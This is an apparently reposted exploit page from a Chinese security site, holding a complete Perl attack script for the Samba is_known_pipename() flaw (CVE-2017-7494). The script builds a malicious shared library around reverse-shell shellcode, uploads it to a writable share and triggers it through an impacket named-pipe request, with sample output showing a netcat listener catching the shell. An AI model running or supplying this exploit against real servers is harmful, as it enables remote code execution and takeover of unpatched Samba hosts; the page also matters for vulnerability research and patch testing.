首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Samba is_known_pipename() Code Execution
来源:N_A[at]tutanota.com 作者:N_A 发布时间:2017-06-05  
#!/usr/bin/perl -w

#Remote Samba is_known_pipename() (  3.5.0 to 4.4.14, 4.5.10, and 4.6.4.) Exploit By N_A , N_A[at]tutanota.com

#The orginal bug was discovered by steelo <knownsteelo[at]gmail.com>
#CVE-2017-7494
#https://www.samba.org/samba/security/CVE-2017-7494.html

#Tested on Samba 4.5.8-Debian


#Requirments for this exploit to run:

#perl -MCPAN -e 'install Filesys::SmbClientParser'
#git clone https://github.com/CoreSecurity/impacket and then install the package



#How to use this exploit:

#This exploit loads a hacked library file into a vulnerable samba server and provides a reverse shell. ( you will need to swap the shellcode )
#A writable samba share is required or valid credentials to a samba share that allows write access to the share.
#You need to know the server side location path of the writable share. For example if the share with write access is called 'blah' then you will
#need to know the full server side path i.e '/home/billybobthornton/blah'
#That is all. This exploit creates a hacked library file and loads it into the remote writable samba share and then uses the DCE/RPC protocol to 
#create a ncacn_np request to a named pipe ( the hacked library file ) and executes it. 

#The exploit uses the impacket library files by CoreSecurity to send the DCE/RPC packet. I have tried playing with Perl's DCE::Perl::RPC and did
#not have much luck with this package. Its over 10 years old and i could not find any relevant documentation to aid me in creating a valid request
#that would trigger a named pipe request. 

#If anyone knows an easier way to do this in Perl please contact me , even if its regarding wireshark captures of the DCE/RPC protocol. 
#Email me on N_A[at]tutanota.com, thank you :)



#root@kali:~/exploits# perl NAsamba.pl -h 192.168.142.128 -s anonymous -l /home/NA/anonymous
#[*]No Port Specified - Using Port 445 as default
#[*]No user specified - Using 'nobody' as default user
#[*]No password specified - Leaving password blank
#[*]Using Host: 192.168.142.128 on port: 445
#[*]Username: nobody
#[*]Password: 
#[*]Attacking Share: anonymous on Host: 192.168.142.128 Port: 445
#[*]Creating Pure Evil
#[*]Evil File Created Successfully!
#Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.8-Debian]
#[*]Evil File transferred to Samba Server!
#[*]Triggering exploit
#[*]G0t r00t?




#A terminal with a netcat listener set up on port 443

#root@kali:~/exploits# nc -nlvp 443
#listening on [any] 443 ...
#connect to [192.168.142.140] from (UNKNOWN) [192.168.142.128] 36214
#sh -i;
#sh: 0: can't access tty; job control turned off
#$ id 
#uid=65534(nobody) gid=0(root) egid=65534(nogroup) groups=65534(nogroup)
#$ 





#Greetz - Listen m0use i have been busy all week, didnt i tell i was working on stuff? Relax. R-E-L-A-X. Relaaaax. 
#Greetz to the Wu-tang clan and all killabeez ;P





use POSIX;
use Filesys::SmbClientParser;
use strict;
use warnings;  
use Getopt::Long qw(GetOptions);



#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.142.128 LPORT=443 -f c  - change this to your own LHOST and LPORT to receive connection
#And then replace the resultant shellcode below:
#Note: Replace all double quotes " in the shellcode with single quotes ' before replacing shellcode.


my $shellcode = '\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80'.
'\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x8e\x80\x68'.
'\x02\x00\x01\xbb\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1'.
'\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3'.
'\x52\x53\x89\xe1\xb0\x0b\xcd\x80';


#These are our evil files
my $evil_header ="#ifndef evil_h__\n"."#define evil_h__\n"."extern int samba_init_module(void);\n".'#endif';
my $evil ="#include <stdio.h>\n".'int samba_init_module(void){ unsigned char shellcode[]='.'"'.$shellcode.'"'.";".'(*(void(*)()) shellcode)();return 0;}';

my $evil_header_file = 'evil.h';
my $evil_file = 'evil.c';




#creating evil library , libevil.so
sub create_evil()
{
	
	open(my $fh, '>', $evil_file) or die "[*]Could not open evil.c";
	print $fh $evil;
	open($fh, '>', $evil_header_file) or die "[*]Could not open evil.h";
	print $fh $evil_header;
	close $fh;
	system("gcc -c -Wall -Werror -fpic evil.c");
	system("gcc -shared -o libevil.so evil.o");
	print "[*]Evil File Created Successfully!\n";
}	


sub usage()
{	
	print "\n\n-=[*]Remote Samba is_known_pipename() Root Exploit[*]=-\n\n"; 
	print "\t\t-=By N_A=-\n\n";
	print "[*]Usage: ___FCKpd___0 --host hostname --port port --user user --password pass --share writable-share --location /server/side/path\n\n";
	print "[*]___FCKpd___0 --host 127.0.0.1 --port 445 --user nobody --password pass --share temp  --location /home/blah/temp\n";
	print "[*]___FCKpd___0 -h 127.0.0.1 -p 139 -u admin -pa adminpass -s stuff -l /var/samba/stuff\n\n";
	print "[*]Note: No username provided defaults to user name 'nobody'\n";
	print "[*]Note: No port provided defaults to port '445'\n";
	print "[*]Note: No password provided defaults to a blank password\n";
	exit; 
}


my $host;			#host to attack
my $port;			#port on host to attack , default is 445
my $user;			#username on host to use, default is nobody
my $password;			#password to use, default is left as blank
my $share;			#path to the writable share to use
my $location;			#this is the location on the server side of the share. We need this to access our libevil.so


GetOptions('host|h=s' => \$host, 'port|p=s' => \$port,'user|u=s' => \$user, 'password|pa=s' => \$password, 'share|s=s' => \$share, 'location|l=s' => \$location,) or die usage();



if(!$location)
{

	usage();
}

if(!$host)
{

	usage();
}


if(!$port)
{
	print "[*]No Port Specified - Using Port 445 as default\n";
	$port = 445;
}

if(!$user)
{
	print "[*]No user specified - Using 'nobody' as default user\n";
	$user = "nobody";
}

if(!$password)
{
	print "[*]No password specified - Leaving password blank\n";
	$password = "";
}


if(!$share)
{
	print "[*]Writable Share missing\n";
	usage();
}


my $smb = new Filesys::SmbClientParser
  (undef,
   (
    user     => $user,
    password => $password
   ));
 
 	
$smb->Host($host);

print "[*]Using Host: $host on port: $port\n";
print "[*]Username: $user\n";
print "[*]Password: $password\n";
print "[*]Attacking Share: $share on Host: $host Port: $port\n";
print "[*]Creating Pure Evil\n";
create_evil();

$smb->Share($share);			#Locating correct writable share

$smb->put("libevil.so");		#transferring libevil.so to the writeable share
print "[*]Evil File transferred to Samba Server!\n";
print "[*]Triggering exploit\n";
print "[*]G0t r00t?\n";

#All should be well at this point. All thats left is to trigger the exploit.
#A dirty hack below. There was not much documentation on DCE::Perl::RPC which is required to send requests to named pipes
#Using impacket from the command line, via system() call. 

my $evil_lib = '/libevil.so';
my $stringbind = "python -c 'from impacket.dcerpc.v5 import transport; st=\"$host\";stt=\"$location/libevil.so\";s=r\"ncacn_np:%s[\\pipe%s]\" % (st,stt); rpctrans = transport.DCERPCTransportFactory(s); dce = rpctrans.get_dce_rpc(); dce.connect();'";


system("$stringbind");			#triggering exploit

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·reiserfstune 3.6.25 - Local Bu
·Sudo get_process_ttyname() Rac
·Riverbed SteelHead VCX 9.6.0a
·ScadaBR Credentials Dumper Exp
·WebKit CachedFrameBase::restor
·Intel AMT Digest Authenticatio
·WebKit Element::setAttributeNo
·Disk Sorter 9.7.14 - 'Input Di
·WebKit CachedFrame Universal C
·EnGenius EnShare IoT Gigabit C
·WebKit JSC emitPutDerivedConst
·DNSTracer 1.8.1 - Buffer Overf
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved